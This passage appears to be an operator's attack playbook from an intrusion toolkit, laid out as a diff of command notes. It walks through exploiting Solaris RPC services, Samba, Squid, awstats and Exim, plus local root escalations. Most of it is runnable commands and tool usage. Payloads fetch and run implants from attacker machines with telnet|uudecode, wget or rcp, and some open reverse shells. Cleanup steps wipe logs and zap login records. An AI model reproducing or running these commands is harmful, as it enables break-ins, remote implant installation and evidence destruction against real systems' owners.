/tmp/WORK_DIR +pwd +telnet PITCH_IP NETCAT_PORT < /dev/console | uudecode;ls -la +uncompress sendmail.Z +netstat -an | grep RAT_PORT +D=-lRAT_PORT PATH=. sendmail + +### pitch window +-nstun TARGET_IP RAT_PORT + + + +###### Cleanup: +/usr/openwin/bin/core +/var/adm/messages + +Other cores locations? +Always look at utmp, wtmp,etc + + + +####### If you've hit this before and know the addresses: + +# Ex.: ./ebbshave -T 1 -S 0xffbefa20 -E 0xffbefa20 -n 32775 -t target 300326 + + +######################################################### +# BS - BLUE +######################################################### +# ../bin/bs.tr -h +# +# Usage: +# [E=ratpreargs] [A=ratpostargs] bs.tr remoteIP remoteHost \ +# [remoteDomain] \ +# sadmindPort remoteDir remoteName localIP localPort +# +# ratpreargs : the string put on remote command line right after PATH=. and +# before remoteName (e.g. E='C="-c LOCALIP port"' or +# E='C="-l listenport"') +# +# ratpostargs : the string put on remote command line after running remoteName +# +# +# Command sent to bs will be munged from: +# +#CMD="mkdir -p ${REMOTE_DIR} && cd ${REMOTE_DIR} && telnet ${LOCAL_IP} ${LOCAL_PORT} < / +#dev/console | uudecode > /dev/null 2>&1 && uncompress -f ${REMOTE_FNAME}.Z && chmod 755 +# ${REMOTE_FNAME} && PATH=.${RAT_PREARGS} ${REMOTE_FNAME}${RAT_POSTARGS}" + +### TRICK - use -A option to get its archtype back +### TRICK - give a bad hostname to see if it's running in secure mode; if it complains, then +### it's still vulnerable, and work out the other options; if there's not response +### try another bad name; if still no response, then it's running in secure mode and +### not vulnerable + +### Scan target + +#rpcinfo -p TARGET_IP +# +#rpcinfo -n BSPORT -u TARGET_IP 100232 +#rpcinfo -n BSPORT -t TARGET_IP 100232 + +-scan rpc TARGET_IP + + +mx +:%s/SADMIND_PORT/SADMIND_PORT/g +:%s/REMOTE_DIR/\/tmp\/WORK_DIR/g +`x + +###### Start netcat +packrat NETCAT_PORT + + +############# BS w/ NO REDIRECTION ########### +###### 1. No redirection: +### To use default port +# ./bs.tr TARGET-IP TARGET-NAME SADMIN-PORT REMOTE-DIR RAT-NAME LOCAL-IP NETCAT-PORT +# ./bs.tr TARGET_IP TARGET_NAME SADMIN_PORT REMOTE_DIR RAT_NAME LOCAL_IP NETCAT_PORT + +### Try in this order: +bs.auto -i IP -u SADMIND_PORT TARGET_IP +bs.tr_TRY_SECOND remoteIP remoteHost [remoteDomain] sadmindPort remoteDir remoteName localIP localPort +bs.tn.gr_USE_WHEN_bs.auto_AND_bs.tr_FAIL + + +### To give a port: +#E='D=-lRAT-PORT' ./bs.tr TARGET-IP TARGET-NAME TARGET-DOMAIN SADMIND-PORT REMOTE-DIR RAT-NAME LOCAL-IP NETCAT-PORT +#E='D=-lRAT_PORT' ./bs.tr TARGET_IP TARGET_NAME TARGET_DOMAIN SADMIND_PORT REMOTE_DIR RAT_NAME LOCAL_IP NETCAT_PORT + +###### 3. Waiting: +# you will see bursty traffic on your tcpdump, first the trigger, then the connection to upload nopen. +# Hit Ctrl-C on your nc + + +###### 4. COnnect to target: +### Direct connect: +cd ../down +noclient TARGET_IP:RAT_PORT + + # or + +### Callback - have this ready and waiting when running attack: +cd ../down +noclient -l RAT_PORT + + + + + + +############# BS w/ REDIRECTION ########### +###### 1. on redirector + +-tunnel +u SADMIND_PORT TARGET_IP +r NETCAT_PORT +s + + +# and this if nopen needs to run in callback mode: +r RAT_PORT + +###### 2. Local window + + +### Syntax (domainname is not always necessary): +CommandLine: ../bin/bs.tn.gr -h + +New usage: ./bs.tn.gr [options] -- [options to ] + -i (required) + -h (required) + -a (does not work) Use alt rpcbind port + -s hardwired 111 + -r hardwired 111 + -d + -p def= query rpcbind + -l (required) + -n (no default) + -f (required) + -D def= /tmp/... + -S def= /tmp/.... + -G grinch args deprecated + + + +### Redirection: +### E='D=-lRAT_PORT' ./bs.tr 127.0.0.1 TARGET-NAME TARGET-DOMAIN SADMIND-PORT REMOTE-DIR RAT-NAME PITCH-IP NETCAT-PORT + + +### No domainname: +E='D=-lRAT_PORT' ./bs.tr 127.0.0.1 TARGET_NAME SADMIND_PORT REMOTE_DIR RAT_NAME PITCH_IP NETCAT_PORT + +### With domainname: +E='D=-lRAT_PORT' ./bs.tr 127.0.0.1 TARGET_NAME TARGET_DOMAIN SADMIND_PORT REMOTE_DIR RAT_NAME PITCH_IP NETCAT_PORT + +### Callback: +E='D=-cPITCH_IP:RAT_PORT' ./bs.tr 127.0.0.1 TARGET_NAME SADMIND_PORT REMOTE_DIR RAT_NAME PITCH_IP NETCAT_PORT + + + +###### 3. Waiting: +# you will see bursty traffic on your tcpdump, first the trigger, then the connection to upload nopen. +# Hit Ctrl-C on your nc + + +###### 4. From redirector: +-nstun TARGET_IP RAT_PORT + + # or + +-nrtun RAT_PORT + +-call PITCH_IP RAT_PORT + + + + + +###### Cleanup: + +# usually nothing + + +########################################################### +# GS - GREEN +########################################################### + +gs.auto +Usage: $PROG -i [ options ] + +-i IP IP of target machine (NO DEFAULT) +-g opt Change default GS option from ./$GS_OPTION to \"./opt\" + (can be grins, frowns or sneer). +-C str Change default community string from public to \"str\". +-l IP IP of attack machine (Default: the first active IP found in + this order: ppp0, ppp1, eth0 or eth1) +-n # rat upload port (Default: a random port) +-p # Use port # for RAT listen/callback. (Default: random) +-s # Change delay used for -c to # seconds (must appear before -c). +-c Use NOPEN syntax to have RAT callback after a delay (Default + delay: $CALLBACKDELAY seconds). Callback is to -l IP. +-k Use ksh method instead of telnet/uu*code. +-z Do NOT use uncomrpess at the either end +-r rat name of rat on target (Default: sendmail) +-D dir directory to work from/create on target (Default = /tmp/.scsi) +-P Assume PATH=. will fail so use ./ratname + target, and MUST NOT use uuencode on upload. +-a ARCH String used to determine which architecture NOPEN server to + upload from /current/up/morerats/ using this (note tail -1): + \"ls -1 ./noserver* 2>/dev/null | grep -i ${ARCH} | tail -1\". + If not provided or no match, /current/up/noserver is assumed. +-G Retry exploit--using already uploaded RAT (useful when you need + to try adding -P option or try another RAT callback port). + + +### Or the old way: + +# sneer(2.6) or frowns(2.7+) +gs.os.gr +Usage: /home/black/tmp/20030124-0318/./bin/gs.os.gr [options] + -i (required) + -g def= frowns + -l (required) + -n (required) + -c (no default) + -p (no default) + -D def= /tmp/.X11R6 + -f def= nscd + -E (no default) + -A (no default) + -S DEPRECATED (and ignored) + -s DEPRECATED (and ignored) + +rpcinfo -p TARGET_IP + +rpcinfo -n GSPORT -u TARGET_IP 100249 +rpcinfo -n GSPORT -t TARGET_IP 100249 + +# From PI +-scan rpc TARGET_IP +-scan mibiisa TARGET_IP + # should respond w/ snmp version or h/w type if mibiisa is running: +-scan snmp1 TARGET_IP + # should give motd banner to tell you the OS +-scan snmp2 TARGET_IP + +# If the above don't answer, GS won't work +#if the scans answer with "No such name" then they are probably not vulnerable +# anything else might be worth a shot as long as you're getting udp 161 to target + +### In netcat window: +packrat NETCAT_PORT + + +# Tunneling +# on redirector + +-tunnel +u 161 TARGET_IP +r NETCAT_PORT +s + +# logging depends on sneer(2.6) or frowns(2.7+) + + + +# With redirector: +#./gs.os.gr -i 127.0.0.1 -g -l PITCH-IP -n NETCAT-PORT -D /tmp/WORK-DIR -f RAT-NAME +./gs.os.gr -i 127.0.0.1 -g -l PITCH_IP -n NETCAT_PORT -D /tmp/WORK_DIR -f RAT_NAME + +# NO tunneling + +# Local window +#./gs.os.gr -i TARGET-IP -g -l LOCAL-IP -n NETCAT-PORT -D /tmp/WORK-DIR -f RAT-NAME +./gs.os.gr -i TARGET_IP -g -l LOCAL_IP -n NETCAT_PORT -D /tmp/WORK_DIR -f RAT_NAME + + +# Both cases: +#you wait 4 minutes, and you should see the upload of nopen +# Ctrl-C your nc + +### Connect to target: +### Straight connect (no redirection) +cd ../down +../bin/noclient TARGET_IP + +### Connect using redirector: +-nstun TARGET_IP + +### Cleanup: +### run cleaner after frowns (or else another callback in 4 minutes) (might be automatic now) +### rm /tmp/mibiisa_ps_data +### toast utmp, wtmp, utmpx, wtmpx + + +############################################### +# YS - YELLOW +############################################## + +### New way: + +Usage: ys.auto -i TARGETIP [options] + +-i IP IP of target machine (NO DEFAULT) +-l IP IP of attack machine (Default: the first active IP found in + this order: ppp0, ppp1, eth0 or eth1) +-n # rat upload port (Default: a random port) +-p # Use port # for RAT listen/callback. (Default: random) +-s # Change delay used for -c to # seconds (must appear before -c). +-c Use NOPEN syntax to have RAT callback after a delay (Default + delay: 3 seconds) +-z Do NOT use uncomrpess at the either end +-e Do NOT use "2>&1" on target. Fouls up in some shells. +-r rat name of rat on target (Default: sendmail) +-x # port to start mini X server on (Default: random port) +-D dir directory to work from/create on target (Default = /tmp/.scsi) +-P Assume PATH=. will fail so use ./ratname + target, and MUST NOT use uuencode on upload. +-a ARCH String used to determine which architecture NOPEN server to + upload from /current/up/morerats/ using this (note tail -1): + "ls -1 ./noserver* 2>/dev/null | grep -i ${ARCH} | tail -1". + If not provided or no match, /current/up/noserver is assumed. + +NOTE: -x # and -p# can be the same, even in callback mode. ys.auto +provides + a mechanism to allow netcat callback to finish, and its -tunnel to + close before the NOPEN server calls back on the same port. + +examples: + ys.auto -l 19.16.1.1 -i 10.0.3.1 -n 2222 -r nscd -x 9999 -D /tmp/.dir + ys.auto -i 10.0.3.1 + ys.auto -i TARGET_IP -l REDIRECTOR_IP + +NOTE: The only REQUIRED ARGUMENT is now -i + +The best way to back out of ys.auto once done (whether or not you get on +target) is to kill off the packrat window first with ^C then ^D. Then +kill of the xc window the same way, finally kill the ys.auto. + +ys.auto Version 1.4.1.1 + +### Old Way: +mx +:%s/XSERVER_PORT/x/g +x + +-scan xwin TARGET_IP + +### Locally: +packrat NETCAT_PORT + #or +packrat -n /current/bin/nc.YS NETCAT_PORT + +######### YS With no redirection: + +### Local Window 1: +#./wrap-sun.sh -l LOCAL-IP -r sendmail -p NETCAT-PORT -x XSERVER-PORT -d /tmp/WORK-DIR +./wrap-sun.sh -l LOCAL_IP -r sendmail -p NETCAT_PORT -x XSERVER_PORT -d /tmp/WORK_DIR + +### Local Window 2: +#./xc -x LOCAL-IP -y XSERVER-PORT -s LOCAL-IP TARGET-IP +./xc -x LOCAL_IP -y XSERVER_PORT -s LOCAL_IP TARGET_IP + + + +###### YS With REDIRECTION: +###### 1. On redirector - set up nopen tunnel + +-tunnel +u 177 TARGET_IP +r XSERVER_PORT +r NETCAT_PORT +s + + +###### 2. Local window1 +#./wrap-sun.sh -l PITCH-IP -r sendmail -p NETCAT-PORT -x XSERVER-PORT -d /tmp/WORK-DIR +./wrap-sun.sh -l PITCH_IP -r sendmail -p NETCAT_PORT -x XSERVER_PORT -d /tmp/WORK_DIR + + # hit return + # type y and hit return + + +###### 3. Local Window2: + # for redirection local ip is redirector ip + +#./xc -x PITCH-IP -y XSERVER-PORT -s PITCH-IP 127.0.0.1 +./xc -x PITCH_IP -y XSERVER_PORT -s PITCH_IP 127.0.0.1 + + # hit return + # hit return + # hit return + # (At this point you should see a continue.... in your attack1 window + + # in the attack1 window + # hit return + # hit return + # hit return + + # (you should see your upload happen...) + +### IF Exploit is successful +# DOING THE FOLLOWING WILL GREATLY REDUCE POSSIBLE LOGGING. +# ONLY HIT CONTINUE, IN THE MINI X SERVER WINDOW, ENOUGH +# TIMES TO GET THE RAT UPLOADED. +# WATCH TCPDUMP OUTPUT TO DETERMINE WHEN RAT IS UPLOADED. +# ONCE THE RAT IS UPLOADED, CONNECT +# TO THE TARGET VIA THE RAT AND DO THE FOLLOWING: + +ps -ef | grep dtlogin +kill PID + +# IF YOU SELECTED THE CORRECT dtlogin PID, THEN YOU SHOULD SEE A +# "connection closed" MESSAGE IN YOUR MINI X SERVER WINDOW. IF +# NOT, YOU SELECTED THE WRONG PID AND JUST KILLED SOMEBODY ELSE'S +# dtlogin. IF ALL GOES WELL, HIT control ^C IN THE MINI X SERVER +# WINDOW AND THE XC WINDOW. + + + # Ctrl-C your nc window + # Ctrl-C your xc window + + +###### Double window way: + + +### Local scripted (you'll type commands in this): +nc -l -p RPORT1 + +###Local scripted (your output from above will appear here): +nc -l -p RPORT2 + +### or instead, use doublet in a scripted window (type and output all in same window): +doublet -O -t -i PITCH_IP RPORT1 + +### then set up the tunnels as below, and use wrap-telnet.sh and xc + +### Scripted #1 +wrap-telnet.sh -l REDIRECTIP -p RPORT1 -s RPORT2 -x XPORT + +### Scripted #2 +# xc -x REDIRECTIP -y XPORT -s REDIRECTIP 127.0.0.1 + +### Redir +# -tunnel +# u 177 TARGET_IP +# r XPORT +# r RPORT1 +# r RPORT2 +# r NETCAT_PORT + + +#w/o tunneling +cd ../down +../bin/noclient TARGET_IP + +#w/ tunneling. In redirector window +-nstun TARGET_IP + +-rm RAT_NAME + +###### Cleaning up ###### +### The error log file is configurable and so you must examine +### their xdm-config file to find out where errors are being +### logged. +### +### HAVE TO LOOK THROUGH "find" file from getscript + +egrep -i '(xdm-config|errors|xerror)' /current/*find*m + +### if no find available one of these will probably find it + +-ls /tmp/*errors /var/dt/*errors +-cat error_file + +-grep PITCH_IP /var/adm/SYSLOG /var/log/syslog /var/adm/messages + +-ls -t /var/dt/ + +### you will notice Xerrors is the most recent + +-tail /var/dt/Xerrors + +### if your entries are the only ones there.... + +cat /dev/null >/var/dt/Xerrors + +### if there are other entries you will do something like + +wc -l /var/dt/Xerrors + +### subtract the number of lines that are because of you from above + +head -(what's left) > t ; cat t + +### if it looks good: + +cat t > /var/dt/Xerrors +-cat /var/dt/Xerrors +-rm t + +-ls -t /var/adm +### anything that has a reasonably current timestamp you should check + +### toasting the login entries..... + +### Target window +-put ../up/toast t + +### TO VIEW... +./t -u /var/adm/utmp +./t -u /var/adm/wtmp | tail -20 +./t -x /var/adm/utmpx +./t -x /var/adm/wtmpx | tail -20 +./t -l /var/adm/lastlog | tail + +### TO ZAP... +./t -u /var/adm/utmp tty date +./t -u /var/adm/wtmp tty date +./t -x /var/adm/utmpx tty date +./t -x /var/adm/wtmpx tty date +./t -l /var/adm/lastlog /var/adm/wtmpx user + +################################################ +# CATFLAP +################################################ + +### on redirector + +-stun TARGET_IP 23 + # or +-tunnel +l 2323 TARGET_IP 23 +r NETCAT_PORT + +### Local window +# run catflap to generate output for pasting into telnet: +# syntax: +/current/bin/catflap_sparc -h + + +# Ex: +#/current/bin/catflap_sparc -7 -c "/bin/sh" +/current/bin/catflap_sparc - -c "/bin/sh" + + +### on redirector + +-rtun NETCAT_PORT + +### Local window + +ftshell telnet localhost 2323 + +### paste catflap output once you get telnet prompt + + +### should get root prompt +### Now upload rat + +### with ftshell: +unset HISTFILE +unset HISTSIZE +unset HISTFILESIZE +cd /tmp +mkdir WORK_DIR +cd /tmp/WORK_DIR +pwd +~~p +noserver sendmail +ls -la +chmod 700 sendmail +PATH=. D=-lRAT_PORT sendmail + +### now root on target (do the following if you did NOT use ftshell) +unset HISTFILE +unset HISTSIZE +unset HISTFILESIZE +cd /tmp +mkdir WORK_DIR +cd /tmp/WORK_DIR +pwd +telnet PITCH_IP NETCAT_PORT < /dev/console | uudecode;ls -la +uncompress sendmail.Z +netstat -an | grep RAT_PORT +D=-lRAT_PORT PATH=. sendmail + +### pitch window +-nstun TARGET_IP RAT_PORT + +### or in root target window/nc once +### you have nopen on target + +-put /current/up/toast t +-ls -t /var/adm /var/log + +### look at entries + +./t -u /var/adm/utmp +./t -u /var/adm/wtmp | tail -20 +./t -x /var/adm/utmpx +./t -x /var/adm/wtmpx | tail -20 + + + +############################################ +# EXPOSITTRAG +############################################ + +# exploit pcnfsd version 2.x (fails on v.1 or 3+) + +# +# whatever redirector you use, port 514 cannot +# be in use + +netstat -an | grep 514 + +# to determine the version + +-scan rpc TARGET_IP + +-tunnel +u UDP_PCNFSD_PORT TARGET_IP + +# LOCAL +#./prout -w TARGET_IP UDP_PCNFSD_PORT +./prout -w 127.0.0.1 791 + + +# pcnfsd version 1, version 3 and higher are not vulnerable +packrat PACKRAT_PORT + +-tunnel +r PACKRAT_PORT +u PCNFSDPORT TARGET_IP + +# An example of nopen.t: (note the size of the this file is 482. If you make +# modifications, change the size appropriately) +# use nopen.t file from build, if not +# can be made with hexedit + +C0755 482 t +#!/bin/sh +PATH=/usr/local/sbin:/usr/local/bin:/usr/local/etc:/usr/sbin:/usr/bin:/opt/SUNWspro/bin:/etc:/usr/ccs/bin:/usr/lib/nis:/ +usr/sbin:/usr/bin +export PATH +mkdir /tmp/.scsi +cd /tmp/.scsi +telnet PITCH_IP PACKRAT_PORT < /dev/console |uudecode +uncompress -f sendmail.Z +chmod +x sendmail +#PATH=. D=-cPITCH_IP:NOPEN_PORT sendmail +PATH=. sendmail +/etc/init.d/pcnfs stop +/etc/init.d/pcnfs start + + +nc -vv -l -p 514 < nopen.t # edit nopen.t, note the size, subtract 14 from the actual size and replace 482 with the new +size + +-rtun 514 127.0.0.1 + +#./slugger2 TARGET_IP TARGET_PORT CMD [PRINTER_NAME] + +./slugger2 TARGET_IP TARGET_PORT "cd .. +cd .. +cd .. +cd .. +cd tmp +rcp -p PITCH_IP:t .t +sh .t +" + +# CLEANUP +/bin/rm /tmp/.t +# also might be /tmp/-p +/bin/rm -rf /tmp/.scsi + +# /var/adm/messages will have pcnfs errors +# check history files + +###################### ECHOWRECKER ##################### +# samba server vulnerability + +# Samba 3.0.2a-9AX and Samba 3.0.5 are currently vulnerable +# Samba 2.x on Redhat 7.3, 8.0, and 9.0 are vulnerable + +-scan win_scan TARGET_IP + +-tunnel +l 139 TARGET_IP +r RATPORT + +./echowrecker_quiet -O -h -c [-s ] [-e ] [-a ] [-b] [-l] [-d ] [-i ] +General cases: +0 - Samba 3.0.2a-9AX [uses info leak] +1 - Samba 3.0.5 [uses info leak] +2 - Samba 2.2.7a (rh9 default) [uses info leak] (DO NOT USE) +Specific cases: +3 - Redflag 4.0 (kernel 2.4.20 samba 3.0.2a-9AX) (after restart of smb service) +4 - RedFlag 4.0 (kernel 2.4.20 samba 3.0.2a-9AX) (after reboot of server) +5 - RedFlag 4.0 AS SE (kernel 2.4.20 samba 2.2.8) (after restart of smb service) +6 - RedFlag 4.0 AS SE (kernel 2.4.20 samba 2.2.8) (after reboot of server) +7 - RedHat 7.3 (kernel 2.4.18-3 samba 2.2.3a) +8 - RedHat 8.0 (kernel 2.4.18-14 samba 2.2.5) +9 - RedHat 9.0 (samba 2.2.7) +10 - SuSE 9.0 (kernel 2.4.21 samba 2.2.8a) + +-b = turn bruteforcing on +-l = just do info leak and print returned bytes - good for fingerprinting +-d = seconds of delay between brute force attempts +-s = start of address range to brute force for the location of the shellcode +-e = end of address range to brute force for the location of the shellcode +-a = address in GOT of function pointer to overwrite (usually 'free') [exactly, not the addr-0xc] + to find it -> # objdump -R /usr/sbin/smbd | grep free +-s, -e, -i, -a should be input in hex (ie 0x1000) + +-c = command to run on server as euid root +Ex: -c "/usr/bin/wget -O /tmp/a http://10.1.2.21/noserver && chmod 755 /tmp/a && /tmp/a" + +========================================================= +Also, if the use of the "quiet" echowrecker edition is desired, usage is such: +$ make quiet +$ ./echowrecker_quiet -O 0 -h 127.0.0.1 -c "/usr/bin/wget -O /tmp/a http://PITCH_IP:RATPORT/crond && chmod 755 /tmp/cron +d && /tmp/crond" +. +Found [20] to try +Trying [1 of 100] +Trying [2 of 100] +etc... + +###################### ELECTRICSLIDE ##################### +# Heap Overflow in squid 2.5.STABLE1-2 redhat 9.0 +-scan 3128 TARGET_IP + +-tunnel +l 3128 TARGET_IP + +-tunnel 9999 udp + +./electricslide.pl -t -o -d -l +[-U ] [-P ] [-n ] [-f ] [-a ] + + -h, --help Print this helpful message + -t, --target Target Squid server ip + -o, --target-type Target type (see list below) + -l, --listen Electricslide listen port which Squid will connect to + -U, --proxy-user Proxy-Auth user name (if required) + -P, --proxy-pass Proxy-Auth password (if required) + -n, --nopen Set to port of UDP nopen tunnel + -f, --nopen_forward The address and port of the target machine to forward + the attack to through the nopen tunnel + -a, --local-addr The local ip address (not 127.0.0.1) + -d, --delay Web server exploit transmit delay + (The web server will delay the last + 400 bytes of the payload this number of seconds. + This ensures that the shellcode will be in proper + alignment when the exploit occurs. Default 30) + + Examples: +# - Shooter with receiver on port 80: +#./electricslide.pl -t TARGET_IP:3128 -l LOCAL_IP:80 -d 30 -o 0 +# +# - Shooter with receivers on port 80 using proxy auth: +#./electricslide.pl -t TARGET_IP:3128 -l LOCAL_IP:80 -d 30 -o 0 -U "user" -P "password" + +./electricslide.pl -t 127.0.0.1:7777 -l PITCH_IP:8888 -o 0 -n 9999 -f TARGET_IP:3128 + +nc 127.0.0.1 9999 + +# or +eslide [options] <-t profile> <-l listenerip> + +-------------------------------------------------------------------------- +Options: + -A + Proxy authentication info in username:password format + + -l + The ip address for the connect-back proxy request. + + -p + The target port. Default: 3128 + + -P + The connectback port. Must be allowed by proxy. Default: 80 + + -t + The profile number. See supported profiles below + + -k + Disable the firing of the killer profile which gets a fresh heap (at your own risk!) + + +Profiles: + [0] Gentle Persuasion + [1] Redhat 9 + +./electricslide -t 1 -l LOCAL_IPorPITCH_IP TARGET_IPor127.0.0.1 + + +###################### ELMIRASIGNET ##################### +# vulnerability in awstats software < 6.3 on apache server +# jogswirl + +-tunnel +l 80 TARGET_IP +r 5555 + +# vulnerable ? + +-scan http TARGET_IP + + # galeon http://127.0.0.1/cgi-bin/awstats.pl + Advanced Web Statistics 6.1 (build 1.704) + + # ./xp_awstats.pl -i 127.0.0.1 -d /cgi-bin/awstats.pl -e 0 -c "uname -a;ls -la;w" + +./xp_awstats.pl -i -d -e -c + + -i <127.0.0.1> + -d + -p + -e + 0: ?pluginmode=:system("CMD"); + 1: ?configdir=|CMD| + 2: ?update=1&logfile=|CMD|&framename=mainright + -c + +Examples: +1) ./xp_awstats.pl -i http://127.0.0.1/cgi-bin/awstats.pl -e3 -c"uname -a;ls -la;w" +2) ./xp_awstats.pl -i http://127.0.0.1/cgi-bin/awstats.pl -e3 -c"(mkdir /tmp/.scsi; cd /tmp/.scsi; /usr/bin/wget http:// +PITCH_IP:5555/sendmail -Osendmail;chmod +x sendmail;D=-cPITCH_IP:9999 PATH=. sendmail) 2>/dev/null" + +-nstun TARGET_IP:9999 + +###################### ERRGENTLE ########################## +# exploits vulnerability Exim 3.22 thru Exim 3.35 Mail Transfer Agent +# brute force + +###### Version 3 +# Upload on PITCHIMPAIR and run +netstat -an | grep LISTEN | grep 113 + +mkdir /tmp/.scsi +-cd /tmp/.scsi +-put /current/bin/xp-exim-3-remote-solaris-v3 x + +-shell +./x -i TARGET_IP -p 25 -d SCAPEGOAT_DOMAIN -u nobody -t +# states if vulnerable; hit return to throw if vulnerable +# takes about 1000 hits; scrolls fast; will get root prompt +unset HISTSIZE +unset HISTFILESIZE +unset HISTFILE +id +pwd +# will put you in /usr/exim-3.33/spool +PATH=. crond + +exit + +-rm /tmp/.scsi/x /tmp/.scsi + + +# check /var/log/messages for audit message or PAM failed attempt, + + +###### Version 2 + +-tunnel +l 25 TARGET_IP +r 113 +r RANDOM_PORT + +# test susceptability: + +-scan mail TARGET_IP + +./xp-exim-3 -i 127.0.0.1 -p 25 -c "sh &0 2>&0" -t + +# response should be something like: +# It's vulnerable! Hit a key to start + + +# change location of heap to point to other location using -l: + +./xp-exim-3 -i 127.0.0.1 -p 25 -t -l2 -c "sh &0 2>&0" + +# or + +(echo -e "HTTP/1.0 200\n";cat sendmail) | nc -vv -l -p RANDOM_PORT + +# older versions of redhat cannot use /dev/tcp redirection, use wget; + +./xp-exim-3 -i 127.0.0.1 -c "mkdir /tmp/.scsi; cd /tmp/.scsi; wget http://PITCH_IP:RANDOM_PORT/sendmail -osendmail;chmod +x sendmail*; PATH=. sendmail;PATH=. sendmail.1; PATH=. sendmail.2;" + +## clean logs +# several entries in /usr/exim/spool/log/* +# with something like unqualified sender rejected + +-lt /var/log/messages +-lt /var/log/maillog +-lt /usr/exim/spool/log +-tail /usr/exim/spool/log/rejectlog +-tail /usr/exim/spool/log/mainlog + + + + + +############################################ +# TOOLTALK -DEC, IRIX, or Sol2.6 or earlier +############################################ + +-scan rpc TARGET_IP + +# look for 100083 1 tcp 30889 ttdbserverd + +rpcinfo -n TTDBSERVERD_PORT -t TARGET_IP PROG_NUM + +packrat pmgrd NETCAT_PORT + +#ex:./dec_tt.tn.gr 1 200.21.200.2 LOCAL_IP 25 /tmp/.advtags 30889 +./dec_tt.tn.gr 1 TARGET_IP LOCAL_IP NETCAT_PORT /tmp/WORK_DIR 30889 + + + + +################################################ +### VS - VIOLET +### You need to do this exploit from a box very close (ideally on the same net) +### as the target because of the traffic it generates. +### Reference the README file in /current/bin for help on the new version +################################################ +#Start Xserver on local ops machine prior to logging in + +### VS version5 +xhost + +iptables -F +netstat -an |grep 6000 (make sure local xserver is listening) + + + +### run the test version first to get the times (if vulnerable): +-put /current/bin/vs.gettime.sol.sparc v +rpcinfo -p TARGET_IP +#Ex: ./v -i 202.83.160.51 -h ATMNMS -n 34647 -p 443 +./v -i TARGET_IP -h HOSTNAME -n TCP_PROGRAMPORT -p CALLBACK_PORT + +### hit return when prompted; once you get the times for the cookie +### you can throw the attack thru the redirector + +-rm v +-cd /tmp +-rm .scsi + +### set up the tunnels, using whichever ports you think can call back: +-tunnel +l TCP_PROGRAMPORT TARGET_IP +r 8080 127.0.0.1 6000 +r 443 + + +### locally, send the exploit: +./vs.attack.linux -i 127.0.0.1 -h HOSTNAME -x 8080 -c PITCH_IP -p 443 -n TCP_PROGRAMPORT -7(optional) -v 5 -T SECOND_FROM_GETTIME -t MICROSECS_FROM_GETTIME + + +### a dtterm should eventually pop up - get that mouse outta the way; get those unsets ready! + + + + + + + + +###old way: + + +xhost + +iptables -F +netstat -an |grep 6000 (make sure local xserver is listening) + + #connect to redir (you'll need two windows, one for the tunnel, + #one to run the exploit) + + #create a working dir on redir + #upload nopen + #start nopen + + #check if you'll need to elevate (hope to see superuser next to + # vs port): +rpcinfo targetIP (no options) + + #prepare vs.sparc command or vs.linux (depending on OS of local + # box or redir box) + #upload vs.sparc executable to redir + #create tunnel in nopen redir window + +r 22222 127.0.0.1 6000 + + #paste vs command into 2nd nopen window (on redir) +-shell +./vs.sparc -7 -v 5 -i IP -h name -D -q PITCH_IP -p tunnelport -n programport + + #hit return when prompted and wait possibly a long time) + #keep mouse/cursor away from area where window may pop up + #watch tcpdump window + + #when dtterm pops up, paste each command: +w +df -k + + #hit return on netcat window + #create another tunnel to netcat +r 32177 + + #in dtterm, paste upload command + + #be sure to allow enough time for upload to get past redir and + # all the way to target + +controlC netcat + + #from redir, attempt to connect to target w/ nopen + + #if successful, paste "exit" in dtterm + + #If not, may have to start in callback mode + + #paste upload commands +#./vs.linux -i target_ip -h hostname -r prog_num -v rpc_version -D -q local_ip -p 6000 -n ? + + ./vs.linux -i -h -D -q -p 6000 -v 5 -r -n 52213 + +mkdir /tmp/.scsi; cd /tmp/.scsi; telnet local_ip port ] [-u ] [-g ] [-n] + +./eb + +id + +### start a new nopen as root: +PATH=. D=-lRANDOM sendmail + +-nstun TARGET_IP RANDOM + +-rm eb mod32 + +######################################################### +# WALNUTSMOOTHY +######################################################### +# elevate to root: Sol 2.5.1-2.8 + +mkdir /tmp/1291aaab/ +-put /current/up/efs f +cp f /tmp/1291aaab + +-shell +cd /tmp/1291aaab +pwd +./f +unset HISTSIZE +unset HISTFILESIZE +unset HISTFILE + +id +cd /tmp/.scsi + +head /etc/passwd + +### start a new nopen as root while in -shell: +PATH=. D=-lRANDOM sendmail +exit + +### connect to privileged nopen: +-nstun TARGET_IP RANDOM + +### burn unprivileged nopen + +### cleanup files +-rm /tmp/1291aaab/f f sendmail +-rm /tmp/1291aaab +-lt /tmp + + +######################################################### +# EXTREMEPARR +######################################################### +# elevate to root: Sol 2.6-2.9 + +### +### make sure this exists: +-ls /usr/dt/bin/dtappgather + +### Upload the proper version +-cd /tmp/.scsi +-put /current/up/exp.x.tar.Z b.tar.Z +uncompress b.tar.Z +tar -xf b.tar + +### Find a setuid root program to use for the exploit +### The following should work: +### w, ps -ef, at -l, whodo, who, and ls -al +### Pick a program, determine the location, and verify setuid root is there +### (should see perms of -rwsr-xr-x) +which at +-ls /bin/at + +### Verify su is NOT in the locale directory already +ls -al /usr/lib/locale/su + +### Rename the shared object to have the name of 'su' or whichever loacale you use instead +### Be sure you use the correct version for the system's architecture +cp su.so.2.789x su.so.2 +-ls -t + + +### Have a copy of nopen in your working directory to start up once you get root: +-put /current/up/noserver sendmail +-ls + +### Insert the local shared object /usr/lib/locale by running the following +### This will also generate itime commands to use later when cleaning up, +### normal error messages, and an indication of the success/failure of th +### insertion of the object into /usr/lib/locale +./exp su +echo "" | at now + 180 mins + +### Set up your variables +-getenv +-setenv LC_TIME=su +-getenv +at -l +-shell +LC_TIME=su +export LC_TIME +at -l +id +pwd +cd /tmp/.scsi +PATH=. sendmail +exit +exit + +### Connect from pitch to new noserver that has root privileges +-nstun TARGET_IP + + +### Burn your unprivileged nopen session and connect agin to new noserver +-burn +-nstun TARGET_IP + + +### Cleanup +at -l +at -r 1085530072.a +at -l +ls -al /.sh_history +-ls -t / +ls -lart /usr/lib/locale +rm /usr/lib/locale/su/* +rmdir /usr/lib/locale/su +-lt /usr/lib/locale +ls -al /usr/lib | grep locale +ls -al /var/dt/appconfig | grep appmanager +ls -al /var/dt | grep appconfig +chmod 755 /usr/lib/locale +chmod 755 /var/dt/appconfig/appmanager +chmod 755 /var/dt/appconfig +chown bin:bin /usr/lib/locale +chown root:root /var/dt/appconfig/appmanager /var/dt/appconfig +ls -al /usr/lib | grep locale +ls -al /var/dt/appconfig | grep appmanager +ls -al /var/dt | grep appconfig +-touch /usr/lib/localedef /usr/lib/locale +-w +-ls -t +id +-w +-ls +-ls -t /usr/lib/locale +-ls -t 